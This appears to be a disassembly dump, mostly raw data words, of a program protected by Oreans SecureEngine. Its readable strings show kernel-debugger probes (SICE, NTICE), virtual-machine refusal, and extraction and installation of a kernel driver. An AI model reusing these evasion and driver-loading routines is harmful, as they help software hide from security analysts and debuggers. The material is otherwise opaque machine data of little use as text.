		dd 2404895Ch, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 53243C89h
		dd 4F56AABBh, 7DBB84Ch,	2E254AB6h, 0D0BD378h, 0E163639h
		dd 0B6243B35h, 3DAD2548h, 354064A9h, 0E4ED949h,	545BD831h
		dd 83243C8Bh, 535004C4h, 0E02FA4BBh, 245C296Fh,	478F5B04h
		dd 8478108h, 6FE02FA4h,	5F2434FFh, 0FF04C483h, 81582434h
		dd 4C4h, 0D4D4E900h, 832BFFFDh,	8C11E455h, 1D4FCF93h, 0A817B8B2h
		dd 0C5030621h, 0B142E0FFh, 0D86763B5h, 424C4651h, 0FB662840h
		dd 7CD737D4h, 0F9A752DAh, 9D5341D1h, 51036C6Eh,	6E0C63E8h
		dd 71E956D8h, 60000000h, 31ADBD83h, 0F00061Fh, 584h, 5CE900h
		dd 6A0000h, 0F303E80h, 885h, 46006A00h,	35E9h, 333E8000h
		dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah
		dd 61F0BD9h, 96905090h,	6A9650h, 16E595FFh, 0C361061Fh
		dd 202585C6h, 684D061Fh, 0BE2BF691h, 39243481h,	0FF1A1E80h
		dd 1F2C51B5h, 4D858D06h, 0FF061F39h, 0E58589D0h, 0E8061F16h
		dd 7, 0E85B8161h, 8B67EB8Eh, 0B6B45AC1h, 5DDCC281h, 5E570000h
		dd 0F60C933h, 30B0C9B7h, 0A1C8B61h, 14E9h, 54CB0000h, 29002D47h
		dd 892021FAh, 15C4DD67h, 58C2F396h, 48F381B6h, 968F863h
		dd 1F1A0995h, 94EB8106h, 8957FE85h, 1F063185h, 85C38106h
		dd 8B7898F0h, 1F0D8D85h, 0C0815306h, 273ABB02h,	890A048Fh
		dd 1F0ABD8Dh, 9E806h, 4DE60000h, 0C1EB8036h, 58544725h
		dd 0E538E981h, 858B6745h, 61F0E6Dh, 0E534C181h,	8D896745h
		dd 61F2D4Dh, 0A2C0F981h, 850FFFFFh, 0FFFFFF7Dh,	0AAE9h
		dd 666F5300h, 72617774h, 69575C65h, 63694C6Eh, 65736E65h
		dd 65684300h, 4E496B63h, 72705800h, 7845746Fh, 43007469h
		dd 6B636568h, 54554Fh, 4C6E6957h, 6E656369h, 65566573h
		dd 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h, 76697244h
		dd 65567265h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h
		dd 74736E49h, 65636E61h, 69784500h, 6B4F74h, 636F7250h
		dd 50004E49h, 4F636F72h, 45005455h, 49746978h, 7845004Eh
		dd 554F7469h, 70540054h, 4E49h,	2 dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0AAC78589h
		dd 858D0621h, 621AAC3h,	2D858D50h, 500621AAh, 168h, 0D395FF80h
		dd 6A0621AAh, 0C7B5FF19h, 6A0621AAh, 8D006A01h,	21AA5C85h
		dd 0B5FF5006h, 621AAC3h, 2F8195FFh, 0B5FF061Fh,	621AAC3h
		dd 0AACF95FFh, 0B5FF0621h, 621AAC3h, 2DF595FFh,	89C3061Fh
		dd 21AAC785h, 0C3858D06h, 500621AAh, 0AA2D858Dh, 68500621h
		dd 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh,	6A500621h
		dd 8D006A04h, 21AA8685h, 0B5FF5006h, 621AAC3h, 2F8195FFh
		dd 0B5FF061Fh, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h
		dd 2DF595FFh, 89C3061Fh, 21AAC785h, 0C3858D06h,	500621AAh
		dd 0AA2D858Dh, 68500621h, 80000001h, 0AAD395FFh, 46A0621h
		dd 0AAC7858Dh, 6A500621h, 8D006A04h, 21AA6E85h,	0B5FF5006h
		dd 621AAC3h, 2F8195FFh,	0B5FF061Fh, 621AAC3h, 0AACF95FFh
		dd 0B5FF0621h, 621AAC3h, 2DF595FFh, 89C3061Fh, 21AAC785h
		dd 0C3858D06h, 500621AAh, 0AA2D858Dh, 68500621h, 80000001h
		dd 0AAD395FFh, 46A0621h, 0AAC7858Dh, 6A500621h,	8D006A04h
		dd 21AA9985h, 0B5FF5006h, 621AAC3h, 2F8195FFh, 0B5FF061Fh
		dd 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h, 2DF595FFh
		dd 89C3061Fh, 21AAC785h, 0C3858D06h, 500621AAh,	0AA2D858Dh
		dd 68500621h, 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh
		dd 6A500621h, 8D006A04h, 21AA4985h, 0B5FF5006h,	621AAC3h
		dd 2F8195FFh, 0B5FF061Fh, 621AAC3h, 0AACF95FFh,	0B5FF0621h
		dd 621AAC3h, 2DF595FFh,	83C3061Fh, 1F0215BDh, 840F0006h
		dd 0Bh,	2159D8Bh, 0C383061Fh, 0C303894Ch, 215BD83h, 0F00061Fh
		dd 0B84h, 159D8B00h, 83061F02h,	38950C3h, 15BD83C3h, 61F02h
		dd 0B840Fh, 9D8B0000h, 61F0215h, 8954C383h, 0BD83C303h
		dd 61F0215h, 0B840F00h,	8B000000h, 1F02159Dh, 58C38306h
		dd 83C30389h, 1F0215BDh, 840F0006h, 0Bh, 2159D8Bh, 0C383061Fh
		dd 0C303895Ch, 858960C3h, 621AAC7h, 0AAC3858Dh,	8D500621h
		dd 21AA2D85h, 1685006h,	0FF800000h, 21AAD395h, 8D046A06h
		dd 21AAC785h, 46A5006h,	858D006Ah, 621AABEh, 0C3B5FF50h
		dd 0FF0621AAh, 1F2F8195h, 0C1BD8306h, 61F06h, 0C840Fh
		dd 0B5FF0000h, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h
		dd 2DF595FFh, 0C361061Fh, 0C7858960h, 8D0621AAh, 21AAC385h
		dd 858D5006h, 621AA2Dh,	16850h,	95FF8000h, 621AAD3h, 858D046Ah
		dd 621AAC7h, 6A046A50h,	0A0858D00h, 500621AAh, 0AAC3B5FFh
		dd 95FF0621h, 61F2F81h,	6C1BD83h, 0F00061Fh, 0C84h, 0C3B5FF00h
		dd 0FF0621AAh, 21AACF95h, 0C3B5FF06h, 0FF0621AAh, 1F2DF595h
		dd 60C36106h, 0AAC78589h, 858D0621h, 621AAC3h, 2D858D50h
		dd 500621AAh, 168h, 0D395FF80h,	6A0621AAh, 0C7858D04h
		dd 500621AAh, 6A046Ah, 0AAA7858Dh, 0FF500621h, 21AAC3B5h
		dd 8195FF06h, 83061F2Fh, 1F06C1BDh, 840F0006h, 0Ch, 0AAC3B5FFh
		dd 95FF0621h, 621AACFh,	0AAC3B5FFh, 95FF0621h, 61F2DF5h
		dd 8960C361h, 21AAC785h, 0C3858D06h, 500621AAh,	0AA2D858Dh
		dd 68500621h, 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh
		dd 6A500621h, 8D006A04h, 21AAAF85h, 0B5FF5006h,	621AAC3h
		dd 2F8195FFh, 0BD83061Fh, 61F06C1h, 0C840F00h, 0FF000000h
		dd 21AAC3B5h, 0CF95FF06h, 0FF0621AAh, 21AAC3B5h, 0F595FF06h
		dd 61061F2Dh, 858960C3h, 621AAC7h, 0AAC3858Dh, 8D500621h
		dd 21AA2D85h, 1685006h,	0FF800000h, 21AAD395h, 8D046A06h
		dd 21AAC785h, 46A5006h,	858D006Ah, 621AAB6h, 0C3B5FF50h
		dd 0FF0621AAh, 1F2F8195h, 0C1BD8306h, 61F06h, 0C840Fh
		dd 0B5FF0000h, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h
		dd 2DF595FFh, 0C361061Fh, 0C785C760h, 10621AAh,	8D000000h
		dd 21AAC385h, 858D5006h, 621AA2Dh, 26850h, 95FF8000h, 621AAD3h
		dd 840FC00Bh, 0Fh, 0AAC785C7h, 621h, 4DE90000h,	6A000000h
		dd 0C7858D04h, 500621AAh, 6A046Ah, 0AA41858Dh, 0FF500621h
		dd 21AAC3B5h, 8195FF06h, 0B061F2Fh, 0F840FC0h, 0C7000000h
		dd 21AAC785h, 6, 0AE900h, 85C70000h, 621AAC7h, 1, 0AAC3B5FFh
		dd 95FF0621h, 61F2DF5h,	0C7858B61h, 0C30621AAh,	0C7858960h
		dd 8D0621AAh, 21AAC385h, 858D5006h, 621AA2Dh, 16850h, 95FF8000h
		dd 621AAD3h, 858D046Ah,	621AAC7h, 6A046A50h, 41858D00h
		dd 500621AAh, 0AAC3B5FFh, 95FF0621h, 61F2F81h, 6C1BD83h
		dd 0F00061Fh, 0C84h, 0C3B5FF00h, 0FF0621AAh, 21AACF95h
		dd 0C3B5FF06h, 0FF0621AAh, 1F2DF595h, 60C36106h, 0AAC78589h
		dd 858D0621h, 621AAC3h,	2D858D50h, 500621AAh, 168h, 0D395FF80h
		dd 6A0621AAh, 0C7858D04h, 500621AAh, 6A046Ah, 0AA53858Dh
		dd 0FF500621h, 21AAC3B5h, 8195FF06h, 83061F2Fh,	1F06C1BDh
		dd 840F0006h, 0Ch, 0AAC3B5FFh, 95FF0621h, 621AACFh, 0AAC3B5FFh
		dd 95FF0621h, 61F2DF5h,	85C6C361h, 61F2025h, 7B076852h
		dd 0B5FFADE4h, 61F1BE5h, 24D595FFh, 8589061Fh, 621AAD3h
		dd 202585C6h, 6852061Fh, 902E00E5h, 1BE5B5FFh, 95FF061Fh
		dd 61F24D5h, 0AACF8589h, 85C60621h, 61F2025h, 12356852h
		dd 0B5FFB9BFh, 61F1BE5h, 24D595FFh, 8589061Fh, 61F2F81h
		dd 202585C6h, 6852061Fh, 98781034h, 1BE5B5FFh, 95FF061Fh
		dd 61F24D5h, 2DF58589h,	85C6061Fh, 61F2025h, 0DBD46852h
		dd 0B5FFC005h, 61F1BE5h, 24D595FFh, 8589061Fh, 61F3125h
		dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h
		dd 5C5C0044h, 544E5C2Eh, 454349h, 8166C08Bh, 8B86F4C6h
		dd 1F0CF995h, 0C1BD8306h, 61F06h, 0BD830975h, 61F1F51h
		dd 50197400h, 0B8C08B53h, 40Fh,	0F658589h, 9D8D061Fh, 621AFA4h
		dd 585BD3FFh, 1F51BD83h, 7400061Fh, 0B8535017h,	40Fh, 0F658589h
		dd 9D8D061Fh, 621AC93h,	585BD3FFh, 666015B2h, 8B61D08Bh
		dd 0B70F60C0h, 0C18D8BC1h, 61061F19h, 202585C6h, 5043061Fh
		dd 6859F18Ah, 88578925h, 7E8h, 0C8E72700h, 0EC866EEEh
		dd 59FA8B66h, 0D7240481h, 8B3436E5h, 1F05C595h,	0D9B5FF06h
		dd 8D061F20h, 1F394D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0E8B320ABh, 7,	950A4189h
		dd 14894CDh, 1F302D85h,	0D0FF5F06h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0C6C35343h,	5077C683h, 0F8EFB966h
		dd 66240489h, 13E9FB8Bh, 0BA000000h, 62BB5088h,	83794AF5h
		dd 9362E163h, 87A01D45h, 6AC0CEh, 0F459DA68h, 0EABA50A8h
		dd 5928362Ch, 0A6240481h, 6A570BA6h, 0DDB58B03h, 6A061F1Dh
		dd 718D0300h, 0E8061F31h, 9, 1CE6F556h,	0BEB1F805h, 0FE8E0h
		dd 7BC80000h, 788E179Dh, 0F102E9BEh, 8398B409h,	5F5FF570h
		dd 0D78B036Ah, 58DFC681h, 27683D8Fh, 816703FBh,	4D92404h
		dd 958B58FCh, 61F14E1h,	0B10A9D8Dh, 0BE90621h, 5A000000h
		dd 0B6AB06D5h, 0E8F95EB5h, 8E0F6E0Ch, 6, 2D798D89h, 0BF50061Fh
		dd 163C6991h, 0E9241C89h, 0Fh, 0E02E8848h, 1DB1A956h, 7B5E67F4h
		dd 0FFEF4A5Bh, 5950BD0h, 40061F03h, 2F5850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 21DFBBC3h, 604EFC13h, 2C89958Bh, 63B2061Fh, 22BE5861h
		dd 90449253h, 11E950h, 10580000h, 0FE05F200h, 0E6D53ACBh
		dd 14D4E07Ch, 90166FE7h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 1BC35141h, 0BFF38944h, 8166B525h, 6AB90ACFh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 7FB8441Ch, 0BAE4E781h, 4E87B7Ch,	80000000h
		dd 50000000h, 448BEC8Ah, 8B0424h, 5FCF8B52h, 4244489h
		dd 5840Fh, 66560000h, 5859F88Bh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0B4C35646h,	0CB5FE38Bh, 0BD8BBC55h
		dd 61F2A85h, 1019D89h, 36A061Fh, 0F467E781h, 840F4753h
		dd 6, 27358D8Bh, 6A061Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 8C35141h, 0C88B4D09h,	6A2AC280h, 53006A03h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 9D8D891Bh, 66061F13h, 0E86F34B9h, 4,	0C0000000h, 0F7D2D4BAh
		dd 0BA665018h, 448B3701h, 8B0424h, 0E8D0Fh, 52500000h
		dd 310F5250h, 310F585Ah, 585A6160h, 4244489h, 58F18B66h
		dd 9D8D8DB5h, 621B113h,	50AABF66h, 0B9B96650h, 241C89BCh
		dd 92C649B9h, 0C870F6Eh, 0F000000h, 68Bh, 0A9958900h, 0FF061F30h
		dd 0BD8951D0h, 61F31F5h, 850F4059h, 137h, 6810Fh, 0EA810000h
		dd 4D3AC62Bh, 0AE858h, 0AA840000h, 0E81B585Dh, 88268C4Eh
		dd 0DC58D09h, 0F59061Fh, 6050CBB7h, 54F8BABBh, 616BB235h
		dd 0E8240489h, 0Ch, 0A751E660h,	2E43063Dh, 807252E9h, 6A5FEC8Ah
		dd 81666000h, 663B68F1h, 6861CB8Bh, 0CFBA9895h,	6492BA66h
		dd 0EB240481h, 9304567h, 1F0ABD9Dh, 8A036A06h, 29006AD5h
		dd 1F1355B5h, 6AD78B06h, 0B52B5003h, 61F2FD5h, 0D18A5259h
		dd 4E85Fh, 0
		dd 57BEC000h, 5049020Eh, 0E88A5250h, 850F310Fh,	2, 585AF98Bh
		dd 424448Bh, 0A873B860h, 8B616EB3h, 0CF8B6600h,	4244489h
		dd 0FE8B5250h, 830F310Fh, 0
		dd 8958585Ah, 1F10D9B5h, 1E9D8D06h, 290621B1h, 1F121595h
		dd 8B575006h, 1C895ED7h, 8D23FC24h, 61F2D7Dh, 958BD0FFh
		dd 61F0FC9h, 40850F40h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 54E7C355h
		dd 96CCC83h, 8D09B1F9h,	61F0C8Dh, 0E9F78B58h, 13Ch, 68D0Fh
		dd 8D8B0000h, 61F13F1h,	8BF9B70Fh, 0AE8D8h, 70130000h
		dd 2AAB7A68h, 0AA73342Bh, 5EF3B70Fh, 51006A4Bh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0B9BBA400h
		dd 346C1E0Bh, 4BDF8158h, 0E90BE02Ah, 9,	0E5921D6Fh, 0A5825F24h
		dd 2585C60Ch, 43061F20h, 7E8h, 299D2D00h, 7D573ABDh, 0DF15C981h
		dd 0B15F38ACh, 0A95368D2h, 8B6660EEh, 240481D6h, 5F87A154h
		dd 0B058589h, 0B58B061Fh, 61F2FF5h, 20D9B5FFh, 28BE061Fh
		dd 8D43AD81h, 1F394D85h, 5D8D2906h, 0FF061F27h,	55006AD0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B3107F7h, 1F167D8Dh, 7BB95006h, 89724BEEh, 6A241Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CD0322C3h, 0BD896022h, 61F30E5h, 4323D5BFh,	8DD0FF35h
		dd 1F71109Dh, 6E906h, 61EF0000h, 233B364h, 1B8h, 12E900h
		dd 0C8270000h, 0BD1157AEh, 97264592h, 0DCD765FEh, 0F27F799Eh
		dd 8D89E3FFh, 61F13A9h,	8B66C18Bh, 89C08BCEh, 1F2AE5B5h
		dd 83F08B06h, 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh
		dd 8B535019h, 40FB8C0h,	85890000h, 61F1395h, 0B00B9D8Dh
		dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h,	40FB853h
		dd 85890000h, 61F1395h,	0ACAC9D8Dh, 0D3FF0621h,	0BD89585Bh
		dd 61F2C85h, 73DCE181h,	0C08B7A0Ah, 13E8h, 41868D00h, 12D2D3E9h
		dd 380BEA25h, 0B0B7043Ah, 4750A477h, 2AA5BD09h,	0F58061Fh
		dd 681h, 83F38100h, 81456659h, 5A55C0h,	0DB816600h, 95B9A994h
		dd 8158EFE4h, 0EFCE2EE9h, 0C3816658h, 308BB17Fh, 11E9h
		dd 59B84E00h, 6AAEE5BCh, 0D6BEAFF7h, 5648683Eh,	0C6814281h
		dd 514F5C3Fh, 7A5958Bh,	0F681061Fh, 77860E98h, 1199BD8Bh
		dd 0F681061Fh, 72DA2524h, 103D9589h, 0E956061Fh, 12h, 57E294AFh
		dd 9EF62DF5h, 83E06193h, 82940FF8h, 8FAFFCh, 0F40FCBBh
		dd 4E88345h, 6198D01h, 0E981061Fh, 1, 0FF90850Fh, 7E9FFFFh
		dd 0E9000000h, 0BC149BDEh, 0EE94616h, 33000002h, 6E6E6143h
		dd 7720746Fh, 65746972h, 65726F20h, 2E736E61h, 0A647876h
		dd 6B614D0Dh, 75732065h, 74206572h, 20746168h, 73696874h
		dd 6C696620h, 73692065h, 746F6E20h, 69656220h, 7520676Eh
		dd 20646573h, 61207962h, 68746F6Eh, 70207265h, 72676F72h
		dd 2E6D61h, 67h	dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	61F2025h, 5B866847h, 0B5FFE3E4h
		dd 61F20D9h, 394D858Dh,	0D0FF061Fh, 10468h, 659D8D00h
		dd 53061F17h, 8D50D0FFh, 21BA3FB5h, 32FE8B06h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 1F202585h
		dd 0FC684306h, 0FFBC8E6Eh, 1F20D9B5h, 4D858D06h, 0FF061F39h
		dd 65B58DD0h, 6A061F17h, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 61F2025h, 0EE566857h,	0B5FFA69Bh
		dd 61F20D9h, 394D858Dh,	0D0FF061Fh, 0EEDBD8Dh, 8D8D061Fh
		dd 621BB65h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0B847B58Dh, 858D0621h, 621A8EBh, 8D8DD0FFh, 61F7110h
		dd 0B8h, 0C6E1FF00h, 1F202585h,	0A7684306h, 0FFC0764Ah
		dd 1F20D9B5h, 4D858D06h, 0FF061F39h, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h
		dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
		dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
		dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
		dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 21F3BABDh, 840F0006h, 0Ah, 1F5185C7h, 1061Fh
		dd 85C60000h, 61F2025h,	34B06847h, 4813C38h, 3537DD24h
		dd 0D9B5FF54h, 8D061F20h, 1F394D85h, 0FFD0FF06h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1E840F00h
		dd 47000003h, 0F003F80h, 31484h, 1EE900h, 3F800000h, 6840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2E3E900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C6E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B7E9FFh, 0B58D0000h, 621F33Ah, 225E8h
		dd 0CFBD0300h, 830621F3h, 21F3CFBDh, 840F0006h,	0Bh, 6C185C7h
		dd 1061Fh, 8DC30000h, 21F345B5h, 1FCE806h, 0BD030000h
		dd 621F3CFh, 0F3CFBD83h, 0F000621h, 0B84h, 5185C700h, 1061F1Fh
		dd 0C3000000h, 0F3BEB58Dh, 0D3E80621h, 3000001h, 21F3CFBDh
		dd 0CFBD8306h, 621F3h, 0B840Fh,	85C70000h, 61F31ADh, 1
		dd 4FB58DC3h, 0E80621F3h, 1AAh,	0F3CFBD03h, 0BD830621h
		dd 621F3CFh, 0B840F00h,	0C7000000h, 1F1F5185h, 106h, 0B58DC300h
		dd 621F359h, 181E8h, 0CFBD0300h, 830621F3h, 21F3CFBDh
		dd 840F0006h, 15h, 1F5185C7h, 1061Fh, 85C70000h, 61F06C1h
		dd 1, 67B58DC3h, 0E80621F3h, 14Eh, 0F3CFBD03h, 0BD830621h
		dd 621F3CFh, 0A840F00h,	0C7000000h, 1F1BA185h, 106h, 71B58D00h
		dd 0E80621F3h, 126h, 0F3CFBD03h, 0BD830621h, 621F3CFh
		dd 0A840F00h, 0C7000000h, 1F1BA185h, 106h, 7CB58D00h, 0E80621F3h
		dd 0FEh, 0F3CFBD03h, 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h
		dd 1F0BA985h, 106h, 82B58D00h, 0E80621F3h, 0D6h, 0F3CFBD03h
		dd 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h,	1F08B585h
		dd 106h, 88B58D00h, 0E80621F3h,	0AEh, 0F3CFBD03h, 0BD830621h
		dd 621F3CFh, 0A840F00h,	0C7000000h, 1F003185h, 106h, 96B58D00h
		dd 0E80621F3h, 86h, 0F3CFBD03h,	0BD830621h, 621F3CFh, 0A840F00h
		dd 0C7000000h, 1F207585h, 106h,	0A3B58D00h, 0E80621F3h
		dd 5Eh,	0F3CFBD03h, 0BD830621h,	621F3CFh, 0A840F00h, 0C7000000h
		dd 1F06B185h, 106h, 0AEB58D00h,	0E80621F3h, 36h, 0F3CFBD03h
		dd 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h,	1F035985h
		dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 1FE9DE8Bh, 80000000h,	850F003Fh, 5, 0B9h
		dd 38178A00h, 5840F16h,	0B9000000h, 0
aFga		db 'FG€>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D0850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 621F3CFh, 0AE9h,	0CF85C700h
		dd 621F3h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 10h
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 10h
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		dd 0
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		align 8
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 6AC48B00h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E45C355h, 91BD8BC8h, 89061F31h
		dd 1F153D85h, 8BB7B106h, 0F18166C0h, 0BD834C18h, 61F06C1h
		dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h,	43DB8h
		dd 65858900h, 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h
		dd 61F1Fh, 53501774h, 43DB8h, 65858900h, 8D061F0Fh, 21AC939Dh
		dd 5BD3FF06h, 0E2816658h, 880FE500h, 6,	12C99523h, 0BD8B061Fh
